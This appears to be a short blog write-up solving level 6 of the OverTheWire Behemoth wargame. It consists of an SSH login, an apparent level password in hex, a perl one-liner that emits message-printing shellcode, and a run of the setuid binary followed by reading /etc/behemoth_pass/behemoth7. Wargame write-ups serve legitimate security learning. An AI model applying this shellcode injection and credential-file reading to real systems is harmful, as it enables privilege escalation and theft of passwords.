# cat hellokitty.asm
# nasm -f elf hellokitty.asm && ld -o hellokitty hellokitty.o
# od2sc hellokitty
# ssh behemoth6@behemoth.labs.overthewire.org
6d617969726f65636865
behemoth6@melissa$ file /behemoth/behemoth6
behemoth6@melissa$ file /behemoth/behemoth6_reader
behemoth6@melissa$ mkdir /tmp/b6
behemoth6@melissa$ cd !$
behemoth6@melissa$ perl -e 'print "\x31\xc0\xb0\x74\xb4\x79\x50\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\x89\xe1\x99\xb2\x0a\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\xc9\xc3"' > shellcode.txt
behemoth6@melissa$ /behemoth/behemoth6
$ /usr/bin/whoami
$ /bin/cat /etc/behemoth_pass/behemoth7
No comments:
Post a Comment